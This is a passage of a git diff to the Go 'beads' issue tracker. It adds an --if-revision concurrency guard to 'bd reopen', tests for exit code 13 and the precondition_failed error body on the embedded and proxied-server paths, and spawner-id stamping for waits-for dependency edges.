[]string{"reopen", id, "--if-revision", "", "--json"} + }}, + {"delete", false, func(id string) []string { + return []string{"delete", id, "--if-revision", "", "--force", "--json"} + }}, + {"assign", false, func(id string) []string { + return []string{"assign", id, "bob", "--if-revision", "", "--json"} + }}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + // Each case gets its own issue so the cases can run (and be + // re-run individually with `go test -run`) independent of each + // other's order — a guard mismatch never writes, but the two + // reopen rows each need a known starting status. + issue := bdCreate(t, bd, dir, "GC matcher target: "+tc.name, "--type", "task") + if tc.closeFirst { + bdClose(t, bd, dir, issue.ID) + } + rev := bdShowRevision(t, bd, dir, issue.ID) + expected := rev + 1_000_000 // any value distinct from rev works as the "stale" argument + args := tc.args(issue.ID) + for i, a := range args { + if a == "" { + args[i] = strconv.FormatInt(expected, 10) + } + } + stdout, stderr, code := env.run(t, args...) + if code != ExitGuardMismatch { + t.Fatalf("exit = %d, want %d\nstdout:\n%s\nstderr:\n%s", code, ExitGuardMismatch, stdout, stderr) + } + // gc's runner captures bd's combined output as the subprocess + // error text; bd's own io split (stdout vs stderr) is not + // something gc's matcher relies on, so feeding it stderr (where + // bd actually writes the JSON error) as both "out" and the error + // string is a faithful stand-in for that runner contract. + ok, gotExpected, gotCurrent, haveExpected, haveCurrent := gcClassifyAsPrecondition([]byte(stderr), stderr) + if !ok { + t.Fatalf("gc's matcher did not classify this as precondition_failed\nstderr:\n%s", stderr) + } + if !haveExpected || gotExpected != expected { + t.Errorf("gc decoded expected_revision = %v, want %d", gotExpected, expected) + } + if !haveCurrent { + t.Errorf("gc decoded no current_revision") + } else { + t.Logf("gc decoded current_revision = %d", gotCurrent) + } + }) + } +} diff --git a/cmd/bd/if_revision_proxied_integration_test.go b/cmd/bd/if_revision_proxied_integration_test.go new file mode 100644 index 000000000..24e20ab8d --- /dev/null +++ b/cmd/bd/if_revision_proxied_integration_test.go @@ -0,0 +1,290 @@ +//go:build cgo + +package main + +import ( + "encoding/json" + "strconv" + "testing" + + "github.com/steveyegge/beads/internal/types" +) + +// if_revision_proxied_integration_test.go is the server-path (uow/proxied) +// twin of #7203's if_revision_embedded_test.go (37acca96d): that file only +// exercises --if-revision through buildEmbeddedBD's direct, non-proxied +// route. These tests exercise the same CLI guard through *_proxied_server.go's +// uow-backed preflight/apply path, against a real shared proxied dolt-server, +// to pin that gascity's code:"precondition_failed" + numeric +// expected_revision/current_revision body is identical across both legs, not +// just the embedded one -- including on `bd reopen`, which #7203 did not add +// --if-revision to at all (see reopen.go). +// +// Like every other *_proxied_integration_test.go in this package, this +// requires BEADS_TEST_PROXIED_SERVER=1 and a reachable Dolt container; it +// skips otherwise (see requireProxiedServerEnv). The TestProxiedServer name +// prefix is load-bearing: .github/scripts/proxied-test-shard.sh discovers +// that lane's tests by name, and it is the only lane that sets the env. + +// proxiedPreconditionBody mirrors #7203's own ifRevisionFailureBody +// (if_revision.go): numeric expected_revision/current_revision only, no +// decimal-string twins -- TestEmbeddedGCConditionalMatcherDecode already +// confirmed gc's matcher decodes this shape exactly (encoding/json decodes a +// JSON number straight into an int64 struct field with no float64 +// intermediate, so there is no precision loss to work around here). +type proxiedPreconditionBody struct { + Code string `json:"code"` + ExpectedRevision *int64 `json:"expected_revision"` + CurrentRevision *int64 `json:"current_revision"` +} + +func assertProxiedPreconditionBody(t *testing.T, stderr string, wantExpected int64) { + t.Helper() + obj := lastJSONObjectLine(stderr) + if obj == "" { + t.Fatalf("no JSON object line on stderr:\n%s", stderr) + } + var body proxiedPreconditionBody + if err := json.Unmarshal([]byte(obj), &body); err != nil { + t.Fatalf("parse error body: %v\nraw: %s", err, obj) + } + if body.Code != ifRevisionCodePreconditionFailed { + t.Errorf("code = %q, want %q\nraw: %s", body.Code, ifRevisionCodePreconditionFailed, obj) + } + if body.ExpectedRevision == nil || *body.ExpectedRevision != wantExpected { + t.Errorf("expected_revision = %v, want %d (JSON number, not string)\nraw: %s", body.ExpectedRevision, wantExpected, obj) + } + if body.CurrentRevision == nil { + t.Errorf("current_revision is absent, want a value\nraw: %s", obj) + } +} + +func currentRevisionOfProxied(t *testing.T, bd, dir, id string) int64 { + t.Helper() + details := bdProxiedShowDetailsFirst(t, bd, dir, id) + rev, ok := details["revision"].(string) + if !ok || rev == "" { + t.Fatalf("bd show %s --json has no non-empty revision field: %+v", id, details) + } + v, err := strconv.ParseInt(rev, 10, 64) + if err != nil { + t.Fatalf("bd show %s --json returned an unparseable revision %q: %v", id, rev, err) + } + return v +} + +func staleRevisionFor(rev int64) int64 { + stale := int64(999999999) + if stale == rev { + stale = 999999998 + } + return stale +} + +// TestProxiedServerIfRevisionGuardUpdate pins bd update --if-revision on the +// proxied-server leg: a stale token refuses with exit 13 and a +// precondition_failed JSON body naming numeric revisions, writing nothing; +// the matching token applies. +func TestProxiedServerIfRevisionGuardUpdate(t *testing.T) { + requireProxiedServerEnv(t) + bd := buildEmbeddedBD(t) + proj := newSharedProxiedProject(t, bd, "piu") + env := crossModeEnv{mode: "proxied", bd: bd, dir: proj.dir, env: bdProxiedEnv(proj.dir)} + + issue := bdProxiedCreate(t, bd, proj.dir, "Guarded proxied update", "--type", "task") + rev := currentRevisionOfProxied(t, bd, proj.dir, issue.ID) + + t.Run("mismatch_refuses_and_writes_nothing", func(t *testing.T) { + stale := staleRevisionFor(rev) + stdout, stderr, code := env.run(t, "update", issue.ID, "--if-revision", strconv.FormatInt(stale, 10), + "--priority", "3", "--json") + if code != ExitGuardMismatch { + t.Fatalf("exit = %d, want %d\nstdout:\n%s\nstderr:\n%s", code, ExitGuardMismatch, stdout, stderr) + } + assertProxiedPreconditionBody(t, stderr, stale) + got := bdProxiedShow(t, bd, proj.dir, issue.ID) + if got.Priority == 3 { + t.Errorf("stale --if-revision wrote the row: priority = %d", got.Priority) + } + }) + + t.Run("match_applies", func(t *testing.T) { + env.run(t, "update", issue.ID, "--if-revision", strconv.FormatInt(rev, 10), "--priority", "3") + got := bdProxiedShow(t, bd, proj.dir, issue.ID) + if got.Priority != 3 { + t.Fatalf("matching --if-revision did not apply: priority = %d", got.Priority) + } + }) +} + +// TestProxiedServerIfRevisionGuardClose mirrors #7203's embedded close +// coverage against the proxied-server leg. +func TestProxiedServerIfRevisionGuardClose(t *testing.T) { + requireProxiedServerEnv(t) + bd := buildEmbeddedBD(t) + proj := newSharedProxiedProject(t, bd, "pic") + env := crossModeEnv{mode: "proxied", bd: bd, dir: proj.dir, env: bdProxiedEnv(proj.dir)} + + issue := bdProxiedCreate(t, bd, proj.dir, "Guarded proxied close", "--type", "task") + rev := currentRevisionOfProxied(t, bd, proj.dir, issue.ID) + + t.Run("mismatch_refuses_and_leaves_open", func(t *testing.T) { + stale := staleRevisionFor(rev) + stdout, stderr, code := env.run(t, "close", issue.ID, "--if-revision", strconv.FormatInt(stale, 10), "--json") + if code != ExitGuardMismatch { + t.Fatalf("exit = %d, want %d\nstdout:\n%s\nstderr:\n%s", code, ExitGuardMismatch, stdout, stderr) + } + assertProxiedPreconditionBody(t, stderr, stale) + got := bdProxiedShow(t, bd, proj.dir, issue.ID) + if got.Status != types.StatusOpen { + t.Errorf("stale --if-revision close changed status: %s", got.Status) + } + }) + + t.Run("match_closes", func(t *testing.T) { + env.run(t, "close", issue.ID, "--if-revision", strconv.FormatInt(rev, 10)) + got := bdProxiedShow(t, bd, proj.dir, issue.ID) + if got.Status != types.StatusClosed { + t.Fatalf("matching --if-revision did not close: status = %s", got.Status) + } + }) +} + +// TestProxiedServerIfRevisionGuardReopen covers `bd reopen --if-revision` on +// the proxied-server leg: #7203 did not add --if-revision to reopen at all, so +// unlike the other four verbs there is no #7203 embedded-leg sibling to +// mirror here; the direct route's coverage is +// TestEmbeddedIfRevisionReopenGuardDirect and +// TestEmbeddedGCConditionalMatcherDecode. +// +// The already_open_* subtests pin the bee-ghosttrack maintainer-review +// blocker: a stale --if-revision guard on an already-open issue must still +// report exit 13 with a precondition_failed body, not the silent +// already-open no-op. See if_revision_reopen_embedded_test.go for the +// direct-route twin of this same gap. +func TestProxiedServerIfRevisionGuardReopen(t *testing.T) { + requireProxiedServerEnv(t) + bd := buildEmbeddedBD(t) + proj := newSharedProxiedProject(t, bd, "pir") + env := crossModeEnv{mode: "proxied", bd: bd, dir: proj.dir, env: bdProxiedEnv(proj.dir)} + + alreadyOpen := bdProxiedCreate(t, bd, proj.dir, "Guarded proxied reopen (already open)", "--type", "task") + openRev := currentRevisionOfProxied(t, bd, proj.dir, alreadyOpen.ID) + + t.Run("already_open_mismatch_refuses", func(t *testing.T) { + stale := staleRevisionFor(openRev) + stdout, stderr, code := env.run(t, "reopen", alreadyOpen.ID, "--if-revision", strconv.FormatInt(stale, 10), "--json") + if code != ExitGuardMismatch { + t.Fatalf("exit = %d, want %d\nstdout:\n%s\nstderr:\n%s", code, ExitGuardMismatch, stdout, stderr) + } + assertProxiedPreconditionBody(t, stderr, stale) + got := bdProxiedShow(t, bd, proj.dir, alreadyOpen.ID) + if got.Status != types.StatusOpen { + t.Errorf("stale --if-revision reopen of an already-open issue changed status: %s", got.Status) + } + if gotRev := currentRevisionOfProxied(t, bd, proj.dir, alreadyOpen.ID); gotRev != openRev { + t.Errorf("stale --if-revision reopen of an already-open issue advanced the revision: %d, want unchanged %d", gotRev, openRev) + } + }) + + t.Run("already_open_match_is_noop", func(t *testing.T) { + stdout, _, code := env.run(t, "reopen", alreadyOpen.ID, "--if-revision", strconv.FormatInt(openRev, 10)) + if code != 0 { + t.Fatalf("matching --if-revision reopen of an already-open issue should succeed as a no-op, exit = %d\nstdout:\n%s", code, stdout) + } + got := bdProxiedShow(t, bd, proj.dir, alreadyOpen.ID) + if got.Status != types.StatusOpen { + t.Errorf("matching --if-revision reopen of an already-open issue changed status: %s", got.Status) + } + }) + + issue := bdProxiedCreate(t, bd, proj.dir, "Guarded proxied reopen", "--type", "task") + bdProxiedClose(t, bd, proj.dir, issue.ID) + rev := currentRevisionOfProxied(t, bd, proj.dir, issue.ID) + + t.Run("mismatch_refuses_and_leaves_closed", func(t *testing.T) { + stale := staleRevisionFor(rev) + stdout, stderr, code := env.run(t, "reopen", issue.ID, "--if-revision", strconv.FormatInt(stale, 10), "--json") + if code != ExitGuardMismatch { + t.Fatalf("exit = %d, want %d\nstdout:\n%s\nstderr:\n%s", code, ExitGuardMismatch, stdout, stderr) + } + assertProxiedPreconditionBody(t, stderr, stale) + got := bdProxiedShow(t, bd, proj.dir, issue.ID) + if got.Status != types.StatusClosed { + t.Errorf("stale --if-revision reopen changed status: %s", got.Status) + } + }) + + t.Run("match_reopens", func(t *testing.T) { + env.run(t, "reopen", issue.ID, "--if-revision", strconv.FormatInt(rev, 10)) + got := bdProxiedShow(t, bd, proj.dir, issue.ID) + if got.Status != types.StatusOpen { + t.Fatalf("matching --if-revision did not reopen: status = %s", got.Status) + } + }) +} + +// TestProxiedServerIfRevisionGuardDelete mirrors #7203's embedded delete +// coverage against the proxied-server leg. +func TestProxiedServerIfRevisionGuardDelete(t *testing.T) { + requireProxiedServerEnv(t) + bd := buildEmbeddedBD(t) + proj := newSharedProxiedProject(t, bd, "pid") + env := crossModeEnv{mode: "proxied", bd: bd, dir: proj.dir, env: bdProxiedEnv(proj.dir)} + + issue := bdProxiedCreate(t, bd, proj.dir, "Guarded proxied delete", "--type", "task") + rev := currentRevisionOfProxied(t, bd, proj.dir, issue.ID) + + t.Run("mismatch_refuses_and_leaves_issue", func(t *testing.T) { + stale := staleRevisionFor(rev) + stdout, stderr, code := env.run(t, "delete", issue.ID, "--if-revision", strconv.FormatInt(stale, 10), "--force", "--json") + if code != ExitGuardMismatch { + t.Fatalf("exit = %d, want %d\nstdout:\n%s\nstderr:\n%s", code, ExitGuardMismatch, stdout, stderr) + } + assertProxiedPreconditionBody(t, stderr, stale) + bdProxiedShow(t, bd, proj.dir, issue.ID) + }) + + t.Run("match_deletes", func(t *testing.T) { + stdout, stderr, code := env.run(t, "delete", issue.ID, "--if-revision", strconv.FormatInt(rev, 10), "--force") + if code != 0 { + t.Fatalf("matching --if-revision delete failed: exit %d\nstdout:\n%s\nstderr:\n%s", code, stdout, stderr) + } + if _, _, code := env.run(t, "show", issue.ID); code == 0 { + t.Errorf("issue %s still resolves after matching --if-revision delete", issue.ID) + } + }) +} + +// TestProxiedServerIfRevisionGuardAssign mirrors #7203's embedded assign +// coverage against the proxied-server leg. +func TestProxiedServerIfRevisionGuardAssign(t *testing.T) { + requireProxiedServerEnv(t) + bd := buildEmbeddedBD(t) + proj := newSharedProxiedProject(t, bd, "pia") + env := crossModeEnv{mode: "proxied", bd: bd, dir: proj.dir, env: bdProxiedEnv(proj.dir)} + + issue := bdProxiedCreate(t, bd, proj.dir, "Guarded proxied assign", "--type", "task") + rev := currentRevisionOfProxied(t, bd, proj.dir, issue.ID) + + t.Run("mismatch_refuses_and_leaves_unassigned", func(t *testing.T) { + stale := staleRevisionFor(rev) + stdout, stderr, code := env.run(t, "assign", issue.ID, "alice", "--if-revision", strconv.FormatInt(stale, 10), "--json") + if code != ExitGuardMismatch { + t.Fatalf("exit = %d, want %d\nstdout:\n%s\nstderr:\n%s", code, ExitGuardMismatch, stdout, stderr) + } + assertProxiedPreconditionBody(t, stderr, stale) + got := bdProxiedShow(t, bd, proj.dir, issue.ID) + if got.Assignee != "" { + t.Errorf("stale --if-revision assign wrote the row: assignee = %q", got.Assignee) + } + }) + + t.Run("match_assigns", func(t *testing.T) { + env.run(t, "assign", issue.ID, "alice", "--if-revision", strconv.FormatInt(rev, 10)) + got := bdProxiedShow(t, bd, proj.dir, issue.ID) + if got.Assignee != "alice" { + t.Fatalf("matching --if-revision did not assign: assignee = %q", got.Assignee) + } + }) +} diff --git a/cmd/bd/if_revision_reopen_embedded_test.go b/cmd/bd/if_revision_reopen_embedded_test.go new file mode 100644 index 000000000..016cc2bae --- /dev/null +++ b/cmd/bd/if_revision_reopen_embedded_test.go @@ -0,0 +1,99 @@ +//go:build cgo + +package main + +import ( + "os" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/types" +) + +// if_revision_reopen_embedded_test.go pins the bee-ghosttrack maintainer-review +// blocker on `bd reopen --if-revision`'s direct (non-proxied) route: reopen.go +// used to run its "issue.Status == types.StatusOpen" already-open short-circuit +// unconditionally, BEFORE ops.Reopen ever got a chance to evaluate +// ExpectedVersion (ExecuteReopen -> CheckVersionInTx). That meant a stale +// --if-revision guard against an already-open issue silently returned the +// "already open" no-op (exit 0) instead of the precondition_failed refusal +// (exit 13) every other guarded verb gives for a stale token -- see +// TestEmbeddedGCConditionalMatcherDecode's reopen_open row for the same +// refusal pinned from the gc-matcher angle. +// +// TestProxiedServerIfRevisionGuardReopen +// (if_revision_proxied_integration_test.go) is this file's proxied-server-leg +// twin. The TestEmbedded name is what puts this test in a CI lane +// (.github/scripts/embedded-test-shard.sh); under any other name it skips +// everywhere. +func TestEmbeddedIfRevisionReopenGuardDirect(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "irr") + + t.Run("already_open_mismatch_refuses", func(t *testing.T) { + issue := bdCreate(t, bd, dir, "Guarded reopen (already open)", "--type", "task") + rev := bdShowRevision(t, bd, dir, issue.ID) + stale := rev + 1_000_000 + + out, code := bdRunFailCode(t, bd, dir, "reopen", issue.ID, "--if-revision", revStr(stale), "--json") + if code != ExitGuardMismatch { + t.Fatalf("stale --if-revision reopen of an already-open issue exit = %d, want %d\n%s", code, ExitGuardMismatch, out) + } + if got := bdShow(t, bd, dir, issue.ID); got.Status != types.StatusOpen { + t.Errorf("stale --if-revision reopen of an already-open issue changed status: %s", got.Status) + } + if got := bdShowRevision(t, bd, dir, issue.ID); got != rev { + t.Errorf("stale --if-revision reopen of an already-open issue advanced the revision: %d, want unchanged %d", got, rev) + } + }) + + t.Run("already_open_match_is_noop", func(t *testing.T) { + issue := bdCreate(t, bd, dir, "Guarded reopen (already open, matching)", "--type", "task") + rev := bdShowRevision(t, bd, dir, issue.ID) + + out := bdRunOK(t, bd, dir, "reopen", issue.ID, "--if-revision", revStr(rev)) + if !strings.Contains(out, issue.ID+" is already open") { + t.Errorf("matching --if-revision reopen of an already-open issue lacks the already-open no-op line:\n%s", out) + } + if got := bdShow(t, bd, dir, issue.ID); got.Status != types.StatusOpen { + t.Errorf("matching --if-revision reopen of an already-open issue changed status: %s\noutput:\n%s", got.Status, out) + } + if got := bdShowRevision(t, bd, dir, issue.ID); got != rev { + t.Errorf("matching --if-revision reopen of an already-open issue advanced the revision: %d, want unchanged %d", got, rev) + } + }) + + t.Run("closed_mismatch_refuses", func(t *testing.T) { + issue := bdCreate(t, bd, dir, "Guarded reopen (closed, mismatch)", "--type", "task") + bdClose(t, bd, dir, issue.ID) + rev := bdShowRevision(t, bd, dir, issue.ID) + stale := rev + 1_000_000 + + out, code := bdRunFailCode(t, bd, dir, "reopen", issue.ID, "--if-revision", revStr(stale), "--json") + if code != ExitGuardMismatch { + t.Fatalf("stale --if-revision reopen of a closed issue exit = %d, want %d\n%s", code, ExitGuardMismatch, out) + } + if got := bdShow(t, bd, dir, issue.ID); got.Status != types.StatusClosed { + t.Errorf("stale --if-revision reopen of a closed issue changed status: %s", got.Status) + } + if got := bdShowRevision(t, bd, dir, issue.ID); got != rev { + t.Errorf("stale --if-revision reopen of a closed issue advanced the revision: %d, want unchanged %d", got, rev) + } + }) + + t.Run("closed_match_reopens", func(t *testing.T) { + issue := bdCreate(t, bd, dir, "Guarded reopen (closed, matching)", "--type", "task") + bdClose(t, bd, dir, issue.ID) + rev := bdShowRevision(t, bd, dir, issue.ID) + + bdRunOK(t, bd, dir, "reopen", issue.ID, "--if-revision", revStr(rev)) + if got := bdShow(t, bd, dir, issue.ID); got.Status != types.StatusOpen { + t.Fatalf("matching --if-revision reopen of a closed issue did not reopen: status = %s", got.Status) + } + }) +} diff --git a/cmd/bd/proxied_lookup_failure_test.go b/cmd/bd/proxied_lookup_failure_test.go index 5aa7d1e9f..35b8dfd4d 100644 --- a/cmd/bd/proxied_lookup_failure_test.go +++ b/cmd/bd/proxied_lookup_failure_test.go @@ -239,7 +239,7 @@ var proxiedLookupCommands = []struct { { name: "reopen", run: func(ctx context.Context) error { - return runReopenProxiedServer(&cobra.Command{}, ctx, []string{stubMissingID}) + return runReopenProxiedServer(&cobra.Command{}, ctx, []string{stubMissingID}, nil) }, wantNotFound: "Issue " + stubMissingID + " not found\nHint: " + showNotFoundHint(stubMissingID), wantHardErr: "Error resolving bd-missing: connection reset by peer", diff --git a/cmd/bd/reopen.go b/cmd/bd/reopen.go index 700800b57..6bdb3f7cd 100644 --- a/cmd/bd/reopen.go +++ b/cmd/bd/reopen.go @@ -17,7 +17,11 @@ var reopenCmd = &cobra.Command{ GroupID: "issues", Short: "Reopen one or more closed issues", Long: `Reopen closed issues by setting status to 'open' and clearing the closed_at timestamp. -This is more explicit than 'bd update --status open' and emits a Reopened event.`, +This is more explicit than 'bd update --status open' and emits a Reopened event. + +Exit codes: 1 for general failures; 13 when the failure is a stale +--if-revision guard (the precondition no longer held, nothing was written — +another actor won the race, so retrying the same guard is pointless).`, Args: cobra.MinimumNArgs(1), SilenceUsage: true, SilenceErrors: true, @@ -31,8 +35,20 @@ This is more explicit than 'bd update --status open' and emits a Reopened event. } }() + // beads#4682: an independent OCC precondition on the single issue it + // names, so (unlike the batch of ids this command otherwise accepts) + // it requires exactly one target — same rule update/close/delete + // enforce via requireSingleIfRevisionID. + ifRevision, err := parseIfRevisionFlag(cmd) + if err != nil { + return err + } + if err := requireSingleIfRevisionID(ifRevision, args); err != nil { + return err + } + if usesProxiedServer() { - return runReopenProxiedServer(cmd, rootCtx, args) + return runReopenProxiedServer(cmd, rootCtx, args, ifRevision) } reason, _ := cmd.Flags().GetString("reason") @@ -61,7 +77,13 @@ This is more explicit than 'bd update --status open' and emits a Reopened event. issueStore := result.Store issue := result.Issue - if issue.Status == types.StatusOpen { + // An active --if-revision guard must be evaluated before this + // already-open short-circuit: ops.Reopen below checks + // ExpectedVersion first (ExecuteReopen -> CheckVersionInTx), so a + // stale revision on an already-open issue still reports exit 13 + // instead of silently returning the "already open" no-op here. + // Without --if-revision, today's pre-check stands unchanged. + if ifRevision == nil && issue.Status == types.StatusOpen { fmt.Fprintln(os.Stderr, reopenNoOpMessage(fullID, types.StatusOpen)) result.Close() continue @@ -74,15 +96,26 @@ This is more explicit than 'bd update --status open' and emits a Reopened event. continue } reopened, err := ops.Reopen(opsCtx, issueops.ReopenRequest{ - Actor: actor, - IssueID: fullID, - Reason: reason, + Actor: actor, + IssueID: fullID, + Reason: reason, + ExpectedVersion: ifRevision, // Names the issue for the reason `bd close`'s does, and keeps // the entry identical across backends: the proxied route // already writes "bd: reopen ". Provenance: "bd: reopen " + fullID, }) if err != nil { + // Only a guarded reopen reports through the conditional-write + // envelope: the classifier maps storage.ErrNotFound to + // precondition_failed, which an unguarded reopen racing a + // delete must not claim. + if ifRevision != nil { + if reported, ok := reportIfRevisionFailure("reopening", fullID, err, ifRevision); ok { + result.Close() + return reported + } + } fmt.Fprintf(os.Stderr, "Error reopening %s: %v\n", fullID, err) hasError = true result.Close() @@ -170,6 +203,10 @@ func reopenStatusOf(post, pre *types.Issue) types.Status { func init() { reopenCmd.Flags().StringP("reason", "r", "", "Reason for reopening") + // beads#4682: not part of #7203's original four verbs (update/close/ + // assign/delete); reopen gets the same guard since it is the same kind + // of single-id lifecycle write. + reopenCmd.Flags().String("if-revision", "", ifRevisionFlagHelp) reopenCmd.ValidArgsFunction = issueIDCompletion rootCmd.AddCommand(reopenCmd) } diff --git a/cmd/bd/reopen_proxied_server.go b/cmd/bd/reopen_proxied_server.go index b57dbaf8b..a9fadd638 100644 --- a/cmd/bd/reopen_proxied_server.go +++ b/cmd/bd/reopen_proxied_server.go @@ -40,7 +40,7 @@ type reopenProxiedTarget struct { // ONE CALL PER ID, so one transaction and one history entry per id, where this // route used to run every id in one unit of work under a hand-composed // "bd: reopen a, b" message. -func runReopenProxiedServer(cmd *cobra.Command, ctx context.Context, args []string) error { +func runReopenProxiedServer(cmd *cobra.Command, ctx context.Context, args []string, ifRevision *int64) error { if len(args) == 0 { return HandleErrorRespectJSON("no issue ID provided") } @@ -66,14 +66,22 @@ func runReopenProxiedServer(cmd *cobra.Command, ctx context.Context, args []stri reopenedIssues := []*types.Issue{} for _, target := range targets { result, err := lifecycle.Reopen(ctx, issueops.ReopenRequest{ - Actor: actor, - IssueID: target.id, - Reason: reason, + Actor: actor, + IssueID: target.id, + Reason: reason, + ExpectedVersion: ifRevision, // The label the direct route spells, so one reopen reads the same // in `bd dolt log` whichever route served it. Provenance: "bd: reopen " + target.id, }) if err != nil { + // Guarded only, as on the direct route: an unguarded reopen that + // loses a race with a delete is a lookup failure, not a refusal. + if ifRevision != nil { + if reported, ok := reportIfRevisionFailure("reopening", target.id, err, ifRevision); ok { + return reported + } + } reportIssueLookupFailure("reopening", target.id, err) hasError = true continue diff --git a/internal/storage/dolt/batch_apply_contract_test.go b/internal/storage/dolt/batch_apply_contract_test.go index afb3347ea..7c32d9a37 100644 --- a/internal/storage/dolt/batch_apply_contract_test.go +++ b/internal/storage/dolt/batch_apply_contract_test.go @@ -175,6 +175,11 @@ func TestBatchApplyContract(t *testing.T) { defer cancel() conformance.RunBatchApplyNormalizesTheWaitsForGate(t, ctx, fixture) }) + t.Run("StampsSpawnerIDOnlyWhenNamed", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() + conformance.RunBatchApplyStampsSpawnerIDOnlyWhenNamed(t, ctx, fixture) + }) t.Run("SplicesAForwardMetadataRef", func(t *testing.T) { ctx, cancel := testContext(t) defer cancel() diff --git a/internal/storage/embeddeddolt/batch_apply_contract_test.go b/internal/storage/embeddeddolt/batch_apply_contract_test.go index 439bc1584..3ed6724a9 100644 --- a/internal/storage/embeddeddolt/batch_apply_contract_test.go +++ b/internal/storage/embeddeddolt/batch_apply_contract_test.go @@ -113,6 +113,9 @@ func TestBatchApplyContract(t *testing.T) { t.Run("NormalizesTheWaitsForGate", func(t *testing.T) { conformance.RunBatchApplyNormalizesTheWaitsForGate(t, ctx, fixture) }) + t.Run("StampsSpawnerIDOnlyWhenNamed", func(t *testing.T) { + conformance.RunBatchApplyStampsSpawnerIDOnlyWhenNamed(t, ctx, fixture) + }) t.Run("SplicesAForwardMetadataRef", func(t *testing.T) { conformance.RunBatchApplySplicesAForwardMetadataRef(t, ctx, fixture) }) diff --git a/internal/storage/issueops/batch_apply.go b/internal/storage/issueops/batch_apply.go index 59dec2a1c..bd6a251d1 100644 --- a/internal/storage/issueops/batch_apply.go +++ b/internal/storage/issueops/batch_apply.go @@ -370,11 +370,20 @@ func (r *applyBatchRun) applyDepAdd(ctx context.Context, tx *sql.Tx, index int, } sourceTable, _, eventTable, depTable := WispTableRouting(sourceWisp) + metadata := item.Metadata + if item.HasSpawner { + metadata, err = StampWaitsForSpawnerID(item.Type, item.Metadata, target) + if err != nil { + return itemErr(fmt.Errorf("%w: %v", publicops.ErrValidation, err)) + } + } + dep := &types.Dependency{ IssueID: source, DependsOnID: target, Type: item.Type, - Metadata: item.Metadata, + Metadata: metadata, + ThreadID: item.ThreadID, } eventWritten, err := AddDependencyInTx(ctx, tx, dep, r.plan.Actor, AddDependencyOpts{ SourceTable: sourceTable, @@ -411,6 +420,43 @@ func (r *applyBatchRun) applyDepAdd(ctx context.Context, tx *sql.Tx, index int, return nil } +// StampWaitsForSpawnerID fills a waits-for edge's metadata with the spawner id +// this item resolved, AFTER every id this request mints exists. +// +// A GRAPH PLAN'S SPAWNER IS ALWAYS THE EDGE'S OWN TARGET — the caller cannot +// spell a waits-for item any other way, since the planner above this role +// forces spawner_key/spawner_id to match to_key/to_id before the request ever +// reaches a transaction. So the resolved target this item just computed IS the +// spawner id, known or not at the time the caller built the request: a +// plan-local Ref.Key names a row this very request is minting, and its id does +// not exist until the create item ahead of this one in Items runs. Stamping it +// here, after resolve, is what lets a waits-for edge name a same-batch spawner +// by key at all — item.Metadata alone has no way to carry an id nothing had +// minted yet. +// +// metadata.spawner_id is otherwise redundant with dependencies.depends_on_id +// (NewGraphEdgeDependency's doc states gate evaluation reads the column, never +// the blob) and this keeps it from drifting from that column regardless of +// what a caller's Metadata happened to say. +func StampWaitsForSpawnerID(depType types.DependencyType, metadata, target string) (string, error) { + if depType != types.DepWaitsFor { + return metadata, nil + } + meta := types.WaitsForMeta{} + trimmed := strings.TrimSpace(metadata) + if trimmed != "" { + if err := json.Unmarshal([]byte(trimmed), &meta); err != nil { + return "", fmt.Errorf("waits-for metadata is not a well-formed gate object: %w", err) + } + } + meta.SpawnerID = target + raw, err := json.Marshal(meta) + if err != nil { + return "", fmt.Errorf("serializing waits-for metadata: %w", err) + } + return string(raw), nil +} + // spliceMetadataRefs writes the resolved ids into the metadata of the create // items that asked for them, AFTER every id in the request exists. // diff --git a/internal/storage/uow/batch_applier.go b/internal/storage/uow/batch_applier.go index aba391947..9c41e1ae6 100644 --- a/internal/storage/uow/batch_applier.go +++ b/internal/storage/uow/batch_applier.go @@ -462,11 +462,19 @@ func (r *uowApplyRun) applyDepAdd(ctx context.Context, index int, item *publicop if err != nil { return itemErr(err) } + metadata := item.Metadata + if item.HasSpawner { + metadata, err = storageissueops.StampWaitsForSpawnerID(item.Type, item.Metadata, target) + if err != nil { + return itemErr(fmt.Errorf("%w: %v", publicops.ErrValidation, err)) + } + } dep := &types.Dependency{ IssueID: source, DependsOnID: target, Type: item.Type, - Metadata: item.Metadata, + Metadata: metadata, + ThreadID: item.ThreadID, } if _, err := r.uw.DependencyUseCase().AddDependencies(ctx, []*types.Dependency{dep}, r.plan.Actor, domain.BulkAddDepsOpts{ SkipPerEdgeCycleCheck: r.plan.SkipPerEdgeCycleCheck, diff --git a/internal/storage/uow/batch_apply_contract_test.go b/internal/storage/uow/batch_apply_contract_test.go index 255a7c879..d49656b44 100644 --- a/internal/storage/uow/batch_apply_contract_test.go +++ b/internal/storage/uow/batch_apply_contract_test.go @@ -115,6 +115,9 @@ func TestBatchApplyContract(t *testing.T) { t.Run("NormalizesTheWaitsForGate", func(t *testing.T) { conformance.RunBatchApplyNormalizesTheWaitsForGate(t, ctx, fixture) }) + t.Run("StampsSpawnerIDOnlyWhenNamed", func(t *testing.T) { + conformance.RunBatchApplyStampsSpawnerIDOnlyWhenNamed(t, ctx, fixture) + }) t.Run("SplicesAForwardMetadataRef", func(t *testing.T) { conformance.RunBatchApplySplicesAForwardMetadataRef(t, ctx, fixture) }) diff --git a/issueops/batchapplier.go b/issueops/batchapplier.go index 8eff362fb..39889926e 100644 --- a/issueops/batchapplier.go +++ b/issueops/batchapplier.go @@ -219,6 +219,27 @@ type DepAddItem struct { // members — a spawner, an also-blocks flag — a two-field typed member could // not express. One spelling, and it is this one. Metadata string + // HasSpawner marks a DepWaitsFor edge whose caller explicitly named a + // spawner (bd create --graph's edges[].spawner_key/spawner_id, which the + // CLI's own plan validator already forces to equal this edge's own + // Target). Only then does the role stamp Metadata's spawner_id from the + // resolved Target, once every id in the batch exists (see + // StampWaitsForSpawnerID) — a plan-local spawner key cannot be resolved + // any earlier than that. + // + // AN EDGE WITH NO NAMED SPAWNER MUST KEEP ITS GATE-ONLY METADATA. Stamping + // one in regardless of this flag — the 2026-10 Opus-review HIGH-2 finding + // — produces metadata an unspawnered edge's caller never asked for, which + // is a stored row a later re-apply of the same plan (e.g. by gc) will see + // disagree with what it sent, causing a spurious rewrite and version + // churn the role must not 